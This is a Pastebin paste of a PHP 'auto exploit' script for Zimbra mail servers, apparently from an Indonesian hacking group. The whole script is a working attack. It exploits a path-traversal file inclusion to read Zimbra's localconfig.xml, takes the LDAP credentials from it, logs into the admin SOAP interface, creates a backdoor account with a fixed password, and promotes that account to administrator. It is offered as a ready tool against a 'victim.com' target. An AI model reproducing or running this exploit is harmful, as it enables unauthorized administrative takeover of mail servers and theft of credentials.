Advertisement
Tu5b0l3d

Auto exploit zimbra

Dec 20th, 2015
3,632
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.33 KB | None | 0 0
  1. <?php
  2. // Created by Tu5b0l3d - IndoXploit
  3. // big thx to: duardo Rubina H.
  4. // http://indoxploit.blogspot.co.id/2015/12/auto-exploiter-zimbra-php.html
  5.  
  6. error_reporting(0);
  7. function ngecek($url,$post){
  8.                     $ch = curl_init ("$url");
  9. curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
  10. curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
  11. curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  12. curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
  13. curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
  14. curl_setopt ($ch, CURLOPT_POST, 1);
  15. curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
  16. curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
  17. curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
  18. $data2 = curl_exec ($ch);
  19. return $data2;
  20. }
  21.  
  22. function nganu_body($toket,$req){
  23. $body = "<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\"><soap:Header><context xmlns=\"urn:zimbra\"><authToken>$toket</authToken></context></soap:Header><soap:Body>$req</soap:Body></soap:Envelope>";
  24. return $body;
  25. }
  26. if($argv[1]==""){
  27.     echo "\nusage: php $argv[0] victim.com\n\n";
  28. }
  29. else{
  30. $target = $argv[1];
  31. $user_baru = "Tu5b0l3d";
  32. $pwd_baru = "Tu5b0l3d";
  33. $lfi = "res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00";
  34. $link_lfi = "$target/$lfi";
  35. echo "# $target\n";
  36.  
  37. $ch2 = curl_init ("$link_lfi");
  38.                    curl_setopt ($ch2, CURLOPT_RETURNTRANSFER, 1);
  39.                    curl_setopt ($ch2, CURLOPT_FOLLOWLOCATION, 1);
  40.                    curl_setopt ($ch2, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
  41.                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYPEER, 0);
  42.                    curl_setopt ($ch2, CURLOPT_SSL_VERIFYHOST, 0);
  43.                    curl_setopt ($ch2, CURLOPT_ENCODING, "gzip");
  44.                    curl_setopt($ch2, CURLOPT_COOKIEJAR,'coker_log');
  45.                    curl_setopt($ch2, CURLOPT_COOKIEFILE,'coker_log');
  46.                     $ambil = curl_exec ($ch2);
  47.  
  48.                     $get_user = explode('<key"]="name=\"zimbra_user\">', $ambil);
  49.                     preg_match('/a\["<value>(.*?)<\/value>/', $get_user[1], $user);
  50.                    
  51.                     $get_pwd = explode('<key"]="name=\"zimbra_ldap_password\">', $ambil);
  52.                     preg_match('/a\["<value>(.*?)<\/value>/', $get_pwd[1], $pwd);
  53.                    if($user[1] or $pwd[1] != ""){
  54.                     echo "# Pulen nih...\n";
  55.  
  56.                     $body = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>
  57.                     <env:Envelope xmlns:env=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:ns1=\"urn:zimbraAdmin\" xmlns:ns2=\"urn:zimbraAdmin\"><env:Header><ns2:context/></env:Header><env:Body><ns1:AuthRequest><account by=\"name\">$user[1]</account><password>$pwd[1]</password></ns1:AuthRequest></env:Body></env:Envelope>";
  58.  
  59.                     $link = "https://$target:7071/service/admin/soap";
  60.                     $token = ngecek($link,$body);
  61.                    
  62.                 preg_match('/<authToken>(.*)<\/authToken>/', $token, $toket);
  63.                    
  64.                     if($toket[1]==""){
  65.                         echo "# gagal ngambil toket\n\n";
  66.                         break;
  67.                     }
  68.                     else{
  69.  
  70.                         echo "# $toket[1]\n";
  71.                     $req = @("<GetAllDomainsRequest xmlns=\"urn:zimbraAdmin\"></GetAllDomainsRequest>");
  72.                     $body2 = nganu_body($toket[1],$req);
  73.  
  74.                     $liat = ngecek($link,$body2);
  75.                     preg_match('/<a n=\"zimbraDomainName\">(.*?)<\/a>/', $liat, $domain);
  76.                     echo "# Creating Account...\n";
  77.                     $req2 = "<CreateAccountRequest xmlns=\"urn:zimbraAdmin\"><name>$user_baru@$domain[1]</name><password>$pwd_baru</password></CreateAccountRequest>";
  78.                     $body3 = nganu_body($toket[1],$req2);
  79.  
  80.                     $liat2 = ngecek($link,$body3);
  81.                
  82.                     preg_match('/account id="(.*)" name="/', $liat2, $new);
  83.                     $req3 = "<ModifyAccountRequest xmlns=\"urn:zimbraAdmin\"><id>$new[1]</id><a n=\"zimbraIsAdminAccount\">TRUE</a></ModifyAccountRequest>";
  84.                     $body4 = nganu_body($toket[1],$req3);
  85.  
  86.                     $liat3 = ngecek($link,$body4);
  87.                
  88.                    
  89.                     echo "# Sukses\n";
  90.                     echo "# Login Url: https://$target:7071/zimbraAdmin/\n# Account: $user_baru@$domain[1]\n# Password: $pwd_baru\n\n";
  91.  
  92.                
  93.                
  94.                    }
  95.                }
  96.                    else{
  97.                     echo "# ngk pulen\n";
  98.                    }
  99.                }
  100. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement